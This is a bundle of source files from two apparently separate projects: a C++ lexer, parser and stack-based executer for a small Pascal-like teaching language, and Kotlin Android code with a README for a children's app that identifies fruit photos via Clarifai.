prog.put_lex (Lex (LEX_ASSIGN));
TSTRUCT.put_assign(sv,v);
if (a != 'e') {
if (c_type == LEX_SEMICOLON) gl();
else throw curr_lex;
}
}
} else if (c_type == LEX_COLON) {
if (a == 'e') throw "=!= Error in operator-expression\n";
TLBL.put_place(sv, prog.get_free());
gl();
} else throw curr_lex;
break;
case LEX_FOR:
if (a == 'e') throw "=!= Error in operator-expression\n";
gl();
if (c_type == LEX_LPAREN){
gl();
S('e');
pl1 = prog.get_free();
if (c_type == LEX_SEMICOLON){
gl();
E();
eq_bool();
pl3 = prog.get_free();
prog.blank();
prog.put_lex(Lex(POLIZ_FGO));
pl2 = prog.get_free();
prog.blank();
prog.put_lex(Lex(POLIZ_GO));
if (c_type == LEX_SEMICOLON){
gl();
pl4 = prog.get_free();
S('e');
if (c_type == LEX_RPAREN){
gl();
br = st_break.get_top();
prog.put_lex(Lex(POLIZ_LABEL,pl1));
prog.put_lex(Lex(POLIZ_GO));
prog.put_lex(Lex(POLIZ_LABEL,prog.get_free()),pl2);
S('b');
prog.put_lex(Lex(POLIZ_LABEL,pl4));
prog.put_lex(Lex(POLIZ_GO));
prog.put_lex(Lex(POLIZ_LABEL, prog.get_free()),pl3);
br = st_break.get_top() - br;
if (br) {
for (int i=0; i<br; i++)
prog.put_lex(Lex(POLIZ_LABEL,prog.get_free()), st_break.pop());
}
} else throw curr_lex;
} else throw curr_lex;
} else throw curr_lex;
} else throw curr_lex;
break;
case LEX_LFIG:
if (a == 'e') throw "=!= Error in operator-expression\n";
gl();
B(a);
if (c_type == LEX_RFIG) gl();
else throw curr_lex;
break;
case LEX_GOTO:
if (a == 'e') throw "=!= Error in operator-expression\n";
gl();
if (c_type == LEX_ID){
TLBL.put_Lbl(c_val);
pl1 = prog.get_free();
TLBL.put_goto(c_val, pl1);
prog.blank();
prog.put_lex(Lex(POLIZ_GO));
gl();
if (c_type == LEX_SEMICOLON) gl(); else throw curr_lex;//
}
else throw curr_lex;
break;
case LEX_BREAK:
if (a == 'e') throw "=!= Error in operator-expression\n";
if (a != 'b') throw "=!= break isn't in cicle\n";
st_break.push(prog.get_free());
prog.blank();
prog.put_lex(Lex(POLIZ_GO));
gl();
if (c_type == LEX_SEMICOLON) gl(); else throw curr_lex;
break;
default:
throw curr_lex;
break;
}
}
void Parser::E() {
E1();
if (c_type == LEX_OR){
st_lex.push(c_type);
gl();
E1();
check_op();
}
}
void Parser::E1() {
E2();
if (c_type == LEX_AND){
st_lex.push(c_type);
gl();
E2();
check_op();
}
}
void Parser::E2() {
E3();
if (c_type == LEX_EQ || c_type == LEX_LSS || c_type == LEX_LEQ || c_type == LEX_GTR || c_type == LEX_GEQ || c_type == LEX_NEQ){
st_lex.push(c_type);
gl();
E3();
check_op();
}
}
void Parser::E3() {
E4();
while (c_type==LEX_PLUS || c_type==LEX_MINUS){
st_lex.push(c_type);
gl();
E4();
check_op();
}
}
void Parser::E4(){
E5();
while (c_type==LEX_TIMES || c_type==LEX_SLASH || c_type == LEX_PCNT){
st_lex.push (c_type);
gl();
E5();
check_op();
}
}
void Parser::E5(){
if (c_type == LEX_LPAREN) {
gl();
E();
if (c_type == LEX_RPAREN) gl();
else throw curr_lex;
} else if (c_type == LEX_MINUS) {
st_lex.push(LEX_INT);
prog.put_lex(Lex(LEX_NUM,0));
gl();
F();
prog.put_lex(Lex(LEX_MINUS));
} else F();
}
void Parser::F() {
int sv,v=0,sf=0;
if (c_type == LEX_ID) {
if (TID[c_val].get_type() == LEX_STRUCT_ID) sf = 1;
sv = c_val;
gl();
if (c_type == LEX_DOT) {
gl();
if (c_type == LEX_ID) {
v = c_val;
F_check_id_struct(TSTRUCT[TSTRUCT.get_struct(sv)]);
prog.put_lex (Lex (LEX_ID, lgt*sv+v));
gl();
} else throw curr_lex;
}
if (sf == 0 || v == 0) {
c_val = sv;
if (sf == 0) {
F_check_id();
prog.put_lex (Lex (LEX_ID, sv));
} else {
if (!TSTRUCT.get_assign(c_val)) throw "=!= F: struct is not assigned\n";
st_struct.push(TSTYPES[TSTRUCT.get_struct(sv)]);
prog.put_lex (Lex (LEX_STRUCT_ID, sv));
}
}
} else if (c_type == LEX_NUM) {
st_lex.push(LEX_INT);
prog.put_lex(curr_lex);
gl();
} else if (c_type == LEX_TRUE) {
st_lex.push(LEX_BOOLEAN);
prog.put_lex(Lex (LEX_TRUE,1));
gl();
} else if (c_type == LEX_FALSE) {
st_lex.push(LEX_BOOLEAN);
prog.put_lex (Lex (LEX_FALSE,0));
gl();
} else if (c_type == LEX_STR) {
st_lex.push(LEX_STRING);
prog.put_lex(curr_lex);
gl();
} else if (c_type == LEX_NOT) {
gl();
F();
check_not();
} else throw curr_lex;
}
<file_sep># Interpretator-of-Model-Language
Репозиторий содержит код для интерпретации программ на модельном языке.
- Основной файл: main.cpp;
- Лексический анализатор описан в файле Lex.cpp;
- Синтаксический анализатор описан в файле Syntax.cpp
- Тестовая программа описана в файле Test.txt
Модельный язык похож на Паскаль, допускает использование переменных, структур данных (struct), арифметических операций над числами, конкатенацию строковых переменных и констант, операторы goto, read(), write(), условный оператор, операторы цикла. Подробнее о допустимых операциях можно узнать из таблиц служебных слов в файле Lex.cpp (структуры Scanner::TW и Scanner::TD).
<file_sep>//=====================================================================//
// Contents: //
// //
//...Executer.....................................................12...//
//...Interpretator...............................................300...//
//...Main........................................................319...//
//=====================================================================//
#include "Syntax.cpp"
//=====================================================================//
//====================================================== EXECUTER =====//
//=====================================================================//
class Executer {
Lex pc_el;
public:
void execute(Poliz& prog);
};
void Executer::execute(Poliz& prog){
Stack <int, 100> args;
int i, j, k, index = 0, size = prog.get_free();
while (index < size) {
pc_el = prog[index];
switch (pc_el.get_type()) {
case LEX_STRUCT_ID:
case LEX_NUM:
case LEX_STR:
case POLIZ_ADDRESS:
case POLIZ_LABEL:
args.push (pc_el.get_value());
break;
case LEX_TRUE:
args.push(1);
break;
case LEX_FALSE:
args.push(0);
break;
case LEX_ID:
i = pc_el.get_value();
if (i < lgt) {
args.push (TID[i].get_value());
}
else {
args.push (struct_id_value(i));
}
break;
case LEX_NOT:
args.push(!args.pop());
break;
case LEX_OR:
i = args.pop();
args.push (args.pop() || i);
break;
case LEX_AND:
i = args.pop();
args.push (args.pop() && i);
break;
case POLIZ_GO:
index = args.pop() - 1;
break;
case POLIZ_FGO:
i = args.pop();
if (!args.pop()) index = i - 1;
break;
case LEX_WRITE:
{
int help_ind = index-1;
while (prog[help_ind].get_type() != LEX_STR && prog[help_ind].get_type() != LEX_NUM && prog[help_ind].get_type() != LEX_BOOLEAN && prog[help_ind].get_type() != LEX_ID)
help_ind--;
if (prog[help_ind].get_type() == LEX_ID) {
if (prog[help_ind].get_value() < lgt) {
if (TID[prog[help_ind].get_value()].get_type() == LEX_STRING) std::cout << TSTR[args.pop()];
else if (TID[prog[help_ind].get_value()].get_type() == LEX_BOOLEAN) {
i = args.pop();
if (i == 1) std::cout << "true";
else std::cout << "false";
} else std::cout << args.pop();
} else {
if (struct_id(prog[help_ind].get_value()).get_type() == LEX_STRING) std::cout << TSTR[args.pop()];
else if (struct_id(prog[help_ind].get_value()).get_type() == LEX_BOOLEAN) {
i = args.pop();
if (i == 1) std::cout << "true";
else std::cout << "false";
} else std::cout << args.pop();
}
} else if (prog[help_ind].get_type() == LEX_STR)
std::cout << TSTR[args.pop()];
else std::cout << args.pop();
}
break;
case LEX_READ:
{
int k;
int sf=0;
i = args.pop();
if (i >= lgt) sf=1;
if (sf == 0){
if (TID[i].get_type () == LEX_INT) {
std::cout << "Input int value for ";
std::cout << TID[i].get_name () << std::endl;
std::cin >> k;
} else if (TID[i].get_type() == LEX_STRING) {
char j[20];
rep1:
std::cout << "Input boolean value";
std::cout << " (true or false) for ";
std::cout << TID[i].get_name() << std::endl;
std::cin >> j;
if (!strcmp(j, "true"))
k = 1;
else if (!strcmp(j, "false"))
k = 0;
else {
std::cout << "Error in input:true/false\n";
goto rep1;
}
} else {
char* j = NULL;
std::cout << "Input string value";
std::cout << " for ";
std::cout << TID[i].get_name() << std::endl;
std::cin >> j;
k = TSTR.put(j);
}
TID[i].put_value(k);
} else {
if (struct_id(i).get_type () == LEX_INT) {
std::cout << "Input int value for " << TID[i/lgt].get_name() << ".";
std::cout << struct_id(i).get_name () << std::endl;
std::cin >> k;
} else if (struct_id(i).get_type() == LEX_BOOLEAN) {
char j[20];
rep2:
std::cout << "Input boolean value";
std::cout << " (true or false) for " << TID[i/lgt].get_name() << ".";
std::cout << struct_id(i).get_name() << std::endl;
std::cin >> j;
if (!strcmp(j, "true"))
k = 1;
else if (!strcmp(j, "false"))
k = 0;
else {
std::cout << "Error in input:true/false\n";
goto rep2;
}
} else {
char j[20];
std::cout << "Input string value";
std::cout << " for " << TID[i/lgt].get_name() << ".";
std::cout << struct_id(i).get_name() << std::endl;
std::cin >> j;
k = TSTR.put(j);
}
struct_id_value(i) = k;
}
}
break;
case LEX_PLUS:
if (prog[index-1].get_type() == LEX_STR) {
i = args.pop();
j = args.pop();
std::string s = TSTR[j] + TSTR[i];
k = TSTR.put(s);
args.push(k);
} else if (prog[index-1].get_type() == LEX_ID) {
if (prog[index-1].get_value() < lgt) {
if (TID[prog[index-1].get_value()].get_type() == LEX_STRING) {
i = args.pop();
j = args.pop();
std::string s = TSTR[j] + TSTR[i];
k = TSTR.put(s);
args.push(k);
}
else args.push (args.pop() + args.pop());
} else {
if (struct_id(prog[index-1].get_value()).get_type() == LEX_STRING) {
i = args.pop();
j = args.pop();
std::string s = TSTR[j] + TSTR[i];
k = TSTR.put(s);
args.push(k);
}
else std::cout << args.pop();
}
} else args.push (args.pop() + args.pop());
break;
case LEX_MINUS:
args.push (- args.pop() + args.pop());
break;
case LEX_TIMES:
args.push (args.pop() * args.pop());
break;
case LEX_SLASH:
i = args.pop();
if (i){
args.push (args.pop()/i);
break;
} else throw "POLIZ: divide by zero\n";
case LEX_PCNT:
i = args.pop();
if (i){
args.push (args.pop()%i);
break;
} else throw "POLIZ: divide by zero\n";
case LEX_EQ:
args.push (args.pop() == args.pop());
break;
case LEX_LSS:
i = args.pop();
args.push (args.pop() < i);
break;
case LEX_GTR:
i = args.pop();
args.push (args.pop() > i);
break;
case LEX_LEQ:
i = args.pop();
args.push (args.pop() <= i);
break;
case LEX_GEQ:
i = args.pop();
args.push (args.pop() >= i);
break;
case LEX_NEQ:
i = args.pop();
args.push (args.pop() != i);
break;
case LEX_ASSIGN:
i = args.pop();
j = args.pop();
if (j < lgt){
if (TID[prog[index-2].get_value()].get_type() == LEX_INT || TID[prog[index-2].get_value()].get_type() == LEX_BOOLEAN) {
TID[j].put_value(i);
} else if (TID[prog[index-2].get_value()].get_type() == LEX_STRING) {
k = TSTR.put(TSTR[i]);
TID[j].put_value(k);
} else if (TID[prog[index-2].get_value()].get_type() == LEX_STRUCT_ID) {
TSTRUCT[TSTRUCT.find(j)].VAL = TSTRUCT[TSTRUCT.find(i)].VAL;
}
} else {
if (struct_id(j).get_type() == LEX_INT || struct_id(j).get_type() == LEX_BOOLEAN) {
struct_id_value(j)=i;
} else if (struct_id(j).get_type() == LEX_STRING) {
k = TSTR.put(TSTR[i]);
struct_id_value(j)=k;
}
}
break;
case LEX_SEMICOLON:
args.pop();
break;
default:
throw "POLIZ: unexpected elem\n";
}
++index;
}
std::cout << "\n\nFinish of executing!!!\n";
}
//=====================================================================//
//================================================= INTERPRETATOR =====//
//=====================================================================//
class Interpretator {
Parser pars;
Executer E;
public:
Interpretator(const char * program): pars(program){};
void interpretation();
};
void Interpretator::interpretation() {
pars.analyze();
std::cout << "\n===== EXECUTION =====\n\n";
E.execute (pars.prog);
}
//=====================================================================//
//========================================================== MAIN =====//
//=====================================================================//
int main(){
try {
Interpretator I("./Test");
I.interpretation();
return 0;
}
catch (char c) {
std::cout << "unexpected symbol " << c << std::endl;
return 1;
}
catch (Lex l) {
std::cout << "unexpected lexeme "; std::cout << l;
return 1;
}
catch (const char *source) {
std::cout << source << std::endl;
return 1;
}
}
<file_sep>//=====================================================================//
// Contents: //
// //
//...General Classes & Some Methods...............................16...//
//...TABLES......................................................216...//
//...get_lex Method..............................................271...//
//...Methods For The Scanner Testing.............................430...//
//=====================================================================//
#include <iostream>
#include <iomanip>
#define lgt 100
//=====================================================================//
//================================ GENERAL CLASSES & SOME METHODS =====//
//=====================================================================//
enum type_of_lex {
LEX_NULL, LEX_AND, LEX_BEGIN, LEX_BOOLEAN, // 0
LEX_DO, LEX_ELSE, LEX_END, LEX_IF, // 4
LEX_FALSE, LEX_INT, LEX_NOT, LEX_OR, // 8
LEX_PROGRAM, LEX_READ, LEX_TRUE, LEX_CASE, // 12
LEX_WHILE, LEX_WRITE, LEX_OF, LEX_FOR, // 16
LEX_STRING, LEX_STEP, LEX_UNTIL, LEX_GOTO, // 20
LEX_CONTINUE, LEX_BREAK, LEX_STRUCT, // 24
LEX_SEMICOLON, LEX_COMMA, LEX_COLON, LEX_ASSIGN, // 27
LEX_LPAREN, LEX_RPAREN, LEX_EQ, LEX_LSS, // 31
LEX_GTR, LEX_PLUS, LEX_MINUS, LEX_TIMES, // 35
LEX_SLASH, LEX_LEQ, LEX_NEQ, LEX_GEQ, // 39
LEX_PCNT, LEX_LFIG, LEX_RFIG, // 43
LEX_ID, LEX_NUM, LEX_STR, POLIZ_LABEL, // 46
POLIZ_ADDRESS, POLIZ_GO, POLIZ_FGO, LEX_FIN, // 50
LEX_STRUCT_ID, LEX_DOT // 51
};
class Lex {
type_of_lex t_lex;
int v_lex;
public:
Lex (type_of_lex t = LEX_NULL, int v = 0) {t_lex = t; v_lex = v;}
type_of_lex get_type() {return t_lex;}
int get_value() {return v_lex;}
friend std::ostream& operator << (std::ostream &s, Lex l) {
int fir;
if (l.get_type()/10==0) fir=1; else fir=2;
s << '(' << l.t_lex << ',' << std::setw(7-fir) << std::right << l.v_lex << ")";
return s;
}
};
class tabl_ident;
class Ident {
char* name;
bool declare;
type_of_lex type;
bool assign;
int value;
public:
Ident() {
declare = false;
assign = false;
}
~Ident(){delete [] name;}
Ident (Ident & I){
put_name(I.name);
put_value(I.value);
put_type(I.type);
assign = I.get_assign();
declare = true;
}
friend std::ostream& operator << (std::ostream &s, tabl_ident TI);
char *get_name() {return name;}
void put_name(const char *n) {
name = new char [strlen(n) + 1];
strcpy(name, n);
}
bool get_declare() {return declare;}
void put_declare() {declare = true;}
type_of_lex get_type() {return type;}
void put_type(type_of_lex t) {type = t;}
bool get_assign() {return assign;}
void put_assign() {assign = true;}
void put_unassign() {assign = false;}
int get_value() {return value;}
void put_value(int v) {value = v;}
};
class tabl_ident {
Ident* p;
int size;
int top;
public:
friend class struct_type;
tabl_ident(int max_size) {
p = new Ident[size=max_size];
top = 1;
}
~tabl_ident() {}
tabl_ident & operator=(const tabl_ident & ti){
if (this == &ti) return *this;
p = new Ident[size=ti.size];
top = ti.top;
for (int i=1; i<top; i++) *(p+i)=*(ti.p+i);
return *this;
}
int get_top() {return top;}
Ident& operator[](int k) {return *(p+k);}
int put(const char *buf);
friend std::ostream& operator << (std::ostream &s, tabl_ident TI) {
for (int i=1; i<TI.top; i++)
s << TI[i].name << std::endl;
return s;
}
};
int tabl_ident::put(const char *buf) {
for (int j=1; j<top; ++j)
if (!strcmp(buf, p[j].get_name()))
return j;
p[top].put_name(buf);
++top;
return top-1;
}
class tabl_string {
std::string* s;
int size;
int top;
public:
tabl_string(int max_size) {
s = new std::string[size=max_size];
top = 1;
}
~tabl_string() {}
int get_top() {return top;}
std::string& operator[](int k) {return s[k];}
int put(const char *buf);
int put(std::string buf);
friend std::ostream& operator << (std::ostream &s, tabl_string TS) {
for (int i=1; i<TS.top; i++)
s << TS[i] << std::endl;
return s;
}
};
int tabl_string::put(const char *buf) {
s[top]=buf;
++top;
return top-1;
}
int tabl_string::put(std::string buf) {
s[top]=buf;
++top;
return top-1;
}
class Scanner {
enum state {H, IDENT, NUMB, STR, COM, ALE, DELIM, NEQ};
static char* TW[];
static type_of_lex words[];
static char* TD[];
static type_of_lex dlms[];
state CS;
FILE* fp;
char c;
char buf[80];
int buf_top;
void clear(){
buf_top = 0;
for (int j = 0; j < 80; ++j)
buf[j] = '\0';
}
void add(){
buf[buf_top++] = c;
}
int look(const char *buf, char **list) {
int i = 0;
while (list[i]) {
if (!strcmp(buf, list[i])) return i;
++i;
}
return 0;
}
void gc() {c = fgetc(fp);}
public:
friend void print_test_lex(Lex& L, Scanner& Cs);
Lex get_lex();
Scanner(const char* program){
fp = fopen(program, "r");
if (fp == NULL) throw (char*)"\n>O no! File didn't open!\n";
CS = H;
clear();
gc();
}
void test_Lex_Scanner();
};
//=====================================================================//
//======================================================== TABLES =====//
//=====================================================================//
char* Scanner::TW[]={
(char*)"", (char*)"and", (char*)"begin", (char*)"boolean",
(char*)"do", (char*)"else", (char*)"end", (char*)"if",
(char*)"false", (char*)"int", (char*)"not", (char*)"or",
(char*)"program", (char*)"read", (char*)"true", (char*)"case",
(char*)"while", (char*)"write", (char*)"string",(char*)"struct",
(char*)"!", (char*)"!F", (char*)"of", (char*)"for",
(char*)"step", (char*)"until", (char*)"goto", (char*)"continue",
(char*)"break",
NULL
};
char* Scanner::TD[]={
(char*)"", (char*)"@", (char*)";", (char*)",",
(char*)":", (char*)"=", (char*)"(", (char*)")",
(char*)"==", (char*)"<", (char*)">", (char*)"+",
(char*)"-", (char*)"*", (char*)"/", (char*)"<=",
(char*)"!=", (char*)">=", (char*)"{", (char*)"}",
(char*)"%", (char*)".",
NULL
};
tabl_ident TID(100);
tabl_string TSTR(20);
type_of_lex Scanner::words[]={
LEX_NULL, LEX_AND, LEX_BEGIN, LEX_BOOLEAN,
LEX_DO, LEX_ELSE, LEX_END, LEX_IF,
LEX_FALSE, LEX_INT, LEX_NOT, LEX_OR,
LEX_PROGRAM, LEX_READ, LEX_TRUE, LEX_CASE,
LEX_WHILE, LEX_WRITE, LEX_STRING,LEX_STRUCT,
POLIZ_GO, POLIZ_FGO, LEX_OF, LEX_FOR,
LEX_STEP, LEX_UNTIL, LEX_GOTO, LEX_CONTINUE,
LEX_BREAK,
LEX_NULL
};
type_of_lex Scanner::dlms[]={
LEX_NULL, LEX_FIN, LEX_SEMICOLON, LEX_COMMA,
LEX_COLON, LEX_ASSIGN, LEX_LPAREN, LEX_RPAREN,
LEX_EQ, LEX_LSS, LEX_GTR, LEX_PLUS,
LEX_MINUS, LEX_TIMES, LEX_SLASH, LEX_LEQ,
LEX_NEQ, LEX_GEQ, LEX_LFIG, LEX_RFIG,
LEX_PCNT, LEX_DOT,
LEX_NULL
};
//=====================================================================//
//================================================ get_lex METHOD =====//
//=====================================================================//
void print_test_lex(Lex & L, Scanner & Sc);
Lex Scanner::get_lex(){
int d=0, j;
Lex L;
CS = H;
do {
switch (CS){
case H:
if (c == ' ' || c == '\n' || c== '\r' || c == '\t') gc();
else if (isalpha(c)){
clear();
add();
gc();
CS = IDENT;
} else if (isdigit(c)){
d = c - '0';
gc();
CS = NUMB;
} else if (c == '"'){
clear();
gc();
CS = STR;
} else if (c== '=' || c== '<' || c== '>'){
clear();
add();
gc();
CS = ALE;
} else if (c=='/'){
clear();
add();
gc();
if (c!='*'){
j = look(buf, TD);
L = Lex(dlms[j],j);
print_test_lex(L, *this);
return L;
}
else {gc(); CS = COM;}
//
} else if (c == EOF) {
L = Lex(LEX_FIN);
print_test_lex(L, *this);
return L;
} else if (c == '!'){ // Знак в одиночку не употребляется
clear();
add();
gc();
CS = NEQ;
} else {
CS = DELIM; // Знаки употребляются только по одному
}
break;
case IDENT:
if (isalpha(c) || isdigit(c)){
add();
gc();
} else {
if ((j = look(buf,TW))) {
L = Lex(words[j], j);
print_test_lex(L, *this);
return L;
} else {
j = TID.put(buf);
L = Lex(LEX_ID, j);
print_test_lex(L, *this);
return L;
}
}
break;
case NUMB:
if (isdigit(c)){
d = d*10 + (c-'0');
gc();
} else {
L = Lex(LEX_NUM,d);
print_test_lex(L, *this);
return L;
}
break;
case STR:
if (isalpha(c)){
add();
gc();
} else if (c == '"'){
gc();
j = TSTR.put(buf);
L = Lex(LEX_STR,j);
print_test_lex(L, *this);
return L;
} else if (c==EOF) throw c;
else gc();
break;
case COM:
if (c=='*'){
gc();
if (c=='/') {gc(); CS=H; break;}
if (c!=EOF) gc();
else throw c;
}
else if (c!=EOF) gc();
else throw c;
break;
case ALE:
if (c == '=') {
add();
gc();
j = look(buf, TD);
L = Lex(dlms[j],j);
print_test_lex(L, *this);
return L;
} else {
j = look(buf, TD);
L = Lex(dlms[j],j);
print_test_lex(L, *this);
return L;
}
break;
case NEQ:
if (c == '='){
add();
gc();
j = look(buf,TD);
L = Lex(LEX_NEQ,j);
print_test_lex(L, *this);
return L;
}
else throw '!';
break;
case DELIM:
clear();
add();
if ((j = look(buf, TD))){
gc();
L = Lex(dlms[j],j);
print_test_lex(L, *this);
return L;
}
else
throw c;
break;
}
} while(1);
}
//=====================================================================//
//=============================== METHODS FOR THE SCANNER TESTING =====//
//=====================================================================//
void print_test_lex(Lex & L, Scanner & Sc){
std::cout << L << " ";
switch (L.get_type()){
case 0: std::cout << "NULL"; break;
case 1: std::cout << "AND"; break;
case 2: std::cout << "BEGIN"; break;
case 3: std::cout << "BOOLEAN"; break;
case 4: std::cout << "DO"; break;
case 5: std::cout << "ELSE"; break;
case 6: std::cout << "END"; break;
case 7: std::cout << "IF"; break;
case 8: std::cout << "FALSE"; break;
case 9: std::cout << "INT"; break;
case 10: std::cout << "NOT"; break;
case 11: std::cout << "OR"; break;
case 12: std::cout << "PROGRAM"; break;
case 13: std::cout << "READ"; break;
case 14: std::cout << "TRUE"; break;
case 15: std::cout << "CASE"; break;
case 16: std::cout << "WHILE"; break;
case 17: std::cout << "WRITE"; break;
case 18: std::cout << "OF"; break;
case 19: std::cout << "FOR"; break;
case 20: std::cout << "STRING"; break;
case 21: std::cout << "STEP"; break;
case 22: std::cout << "UNTIL"; break;
case 23: std::cout << "GOTO"; break;
case 24: std::cout << "CONTINUE"; break;
case 25: std::cout << "BREAK"; break;
case 26: std::cout << "STRUCT"; break;
case 27: std::cout << ";"; break;
case 28: std::cout << ","; break;
case 29: std::cout << ":"; break;
case 30: std::cout << "="; break;
case 31: std::cout << "("; break;
case 32: std::cout << ")"; break;
case 33: std::cout << "=="; break;
case 34: std::cout << "<"; break;
case 35: std::cout << ">"; break;
case 36: std::cout << "+"; break;
case 37: std::cout << "-"; break;
case 38: std::cout << "*"; break;
case 39: std::cout << "/"; break;
case 40: std::cout << "<="; break;
case 41: std::cout << "!="; break;
case 42: std::cout << ">="; break;
case 43: std::cout << "%"; break;
case 44: std::cout << "{"; break;
case 45: std::cout << "}"; break;
case 46:
if (L.get_value() < lgt)
std::cout << TID[L.get_value()].get_name() << " (ID)";
else {
std::cout << TID[L.get_value() / lgt].get_name();
std::cout << ".";
std::cout << TID[L.get_value() % lgt].get_name();
std::cout << " (ID)";
}
break;
case 47:
std::cout << L.get_value();
break;
case 48:
std::cout << TSTR[L.get_value()] << " (STR)";
break;
case 49:
std::cout << L.get_value() << " (LBL)"; break;
case 50:
std::cout << "&";
if (L.get_value() < lgt)
std::cout << TID[L.get_value()].get_name();
else {
std::cout << TID[L.get_value() / lgt].get_name();
std::cout << ".";
std::cout << TID[L.get_value() % lgt].get_name();
}
break;
case 51: std::cout << "!"; break;
case 52: std::cout << "!F"; break;
case 53: std::cout << "FIN"; break;
case 54:
std::cout << TID[L.get_value()].get_name() << " (STRUCT_ID)";
break;
case 55: std::cout << "."; break;
}
std::cout << "\n";
}
void Scanner::test_Lex_Scanner(){
int err=0;
std::cout << "\n>Program starts the work!\n\n";
Lex L;
do {
try {L = get_lex();}
catch(char cerr) {gc(); std::cout << "===================== ! ==================== " << "[" << cerr <<"]\n"; err=1;
}
catch(...){if (c==EOF) err=2; else err=1;}
if (err==0) print_test_lex(L,*this);
else err=0;
} while (L.get_type()!=LEX_FIN && err!=2);
std::cout << std::endl;
if (TID.get_top() != 1) {
std::cout << "All IDs:\n";
std::cout << TID;
}
std::cout << std::endl;
if (TSTR.get_top() != 1) {
std::cout << "All STRs:\n";
std::cout << TSTR;
}
std::cout << std::endl;
std::cout << ">Program finishes the work!\n\n";
}
| 1e2d2777b29ee6b0c6b614271ed2ea9dd7c18a9b | [
"Markdown",
"C++"
] | 4 | C++ | SamburskyAlexander/Interpretator-of-Model-Language | 6a1568b31cf225463965b6d860a363ee948a6a34 | 8e8838cd14984a26b6304409b50b2d98643f5c65 |
refs/heads/master | <repo_name>ray7yu/teacheats<file_sep>/app/src/main/java/com/teach/eats/functions/Photo.kt
package com.teach.eats.functions
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.graphics.Matrix
import android.media.ExifInterface
import android.os.Bundle
import android.util.Log
import android.widget.TextView
import com.teach.eats.databinding.FragmentResultBinding
import java.io.File
class Photo {
companion object {
//Obtains the label from the arguments and sets the Text to its value
fun getLabel(binding: FragmentResultBinding, arguments: Bundle?) {
var label = arguments?.getString("label").toString()
if(label == ""){
label = "None"
}
val myResult: TextView = binding.labelView
myResult.text = label
}
//Obtains image by using the photoPath and then sets the ImageView to the image
fun getImage(binding: FragmentResultBinding, arguments: Bundle?) {
val result = arguments?.getString("photoPath").toString()
if (result == "") {
return
}
//Get dimensions
val targetW: Int = binding.foodPicture.width
val targetH: Int = binding.foodPicture.height
//Uses bitmap factory to decode and scale image, improving loading speed
val bmOptions = BitmapFactory.Options().apply {
inJustDecodeBounds = true
BitmapFactory.decodeFile(result, this)
val photoW: Int = outWidth
val photoH: Int = outHeight
// Determine how much to scale down the image
val scaleFactor: Int = Math.max(1, Math.min(photoW / targetW, photoH / targetH))
// Decode the image file into a Bitmap sized to fill the View
inJustDecodeBounds = false
inSampleSize = scaleFactor
// inPurgeable = true
}
val rotatedBitmap = loadRotatedBitmap(result, bmOptions)
binding.foodPicture.setImageBitmap(rotatedBitmap)
}
//Delete image when choosing new one
fun deleteImage(arguments: Bundle?) {
val result = arguments?.getString("photoPath").toString()
if (result == "") {
return
}
//Deletes image
val imageFile = File(result)
val deleted = imageFile.delete()
if (!deleted) {
Log.d("Error", "Not deleted")
} else {
Log.d("Success", "Image deleted")
}
}
//Rotates bitmap based on angle
fun rotateImage(source: Bitmap, angle: Float): Bitmap {
val matrix = Matrix()
matrix.postRotate(angle)
return Bitmap.createBitmap(
source, 0, 0, source.width, source.height,
matrix, true
)
}
//Loads a rotated bitmap from an image path
fun loadRotatedBitmap(path: String, options: BitmapFactory.Options?): Bitmap {
val bitmap = BitmapFactory.decodeFile(path, options)
//Based on case, rotate picture using EXIF orientation data
val ei = ExifInterface(path)
val orientation: Int = ei.getAttributeInt(
ExifInterface.TAG_ORIENTATION,
ExifInterface.ORIENTATION_UNDEFINED
)
return when (orientation) {
ExifInterface.ORIENTATION_ROTATE_90 -> rotateImage(bitmap, 90F)
ExifInterface.ORIENTATION_ROTATE_180 -> rotateImage(
bitmap,
180F
)
ExifInterface.ORIENTATION_ROTATE_270 -> rotateImage(
bitmap,
270F
)
ExifInterface.ORIENTATION_NORMAL -> bitmap
else -> bitmap
}
}
}
}<file_sep>/app/src/main/java/com/teach/eats/functions/Origin.kt
package com.teach.eats.functions
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.os.AsyncTask
import android.util.Log
import android.widget.ImageView
import com.facebook.shimmer.ShimmerFrameLayout
import java.io.InputStream
import java.net.URL
//Asynchronously loads the origin image from the url and sets the image for ImageView
class Origin(private val bmImage: ImageView, private val shimmerView: ShimmerFrameLayout) : AsyncTask<String?, Void?, Bitmap?>() {
override fun doInBackground(vararg params: String?): Bitmap? {
val urldisplay = params[0]
var mIcon11: Bitmap? = null
try {
val `in`: InputStream = URL(urldisplay).openStream()
mIcon11 = BitmapFactory.decodeStream(`in`)
} catch (e: Exception) {
Log.e("Error", e.message)
e.printStackTrace()
}
return mIcon11
}
override fun onPostExecute(result: Bitmap?) {
bmImage.setImageBitmap(result)
shimmerView.stopShimmer()
}
}<file_sep>/README.md
<!-- PROJECT LOGO -->
<br />
<p align="center">
<a href="https://github.com/ray7yu/laundr-portal">
<img src="assets/teacheats.png" alt="Logo" width="375" height="100">
</a>
<p align="center">
An android application, written in Kotlin, that uses the Clarifai API to identify images of fruits and hosts educational pages geared towards children.
<br />
<a href="https://github.com/ray7yu/laundr-portal/issues">Report Bug</a>
·
<a href="https://github.com/ray7yu/laundr-portal/issues">Request Feature</a>
</p>
</p>
<!-- TABLE OF CONTENTS -->
## Table of Contents
* [About](#about)
* [Built With](#built-with)
* [Getting Started](#getting-started)
* [Prerequisites](#prerequisites)
* [Usage](#usage)
* [License](#license)
* [Contact](#contact)
* [Acknowledgements](#acknowledgements)
<!-- ABOUT THE PROJECT -->
## About
### Background
This project was developed as a part of the WiCSE @ UF Shadowing Program during Fall 2020. Under the guidance of a corporate mentor from Traject, I had to develop an application over the course of the semester. </br> </br>
<b>Tasks:</b>
* Sketch wireframe to plan app structure
* Collaborate with student artist to develop the UI
* Create a timeline for app milestones
* Write reports outlining project progress
* Present project results to mentors and peers
* Research and learn about Kotlin and Android development
* Develop and test my android application
* Maintain time logs of my activities
* Host biweekly meetings with the mentor
### Overview
The goal of the project was to develop a mobile application that is designed to teach children about fruits. The app takes a photo of a fruit, and then sends the image to the Clarifai API. There, an image recognition model will identify the fruit, and then return a label. The app then uses the label to redirect the user to the fruit's respective page, with educational information about that fruit. Educational information will include color, pronunciation, and origin. UI/UX elements, such as vivid palettes and friendly interface, will be emphasized in order to accommodate the attention of young children.
### Built With
* [Kotlin](https://kotlinlang.org/)
* [Android Studio](https://developer.android.com/studio)
* [Clarifai](https://www.clarifai.com/)
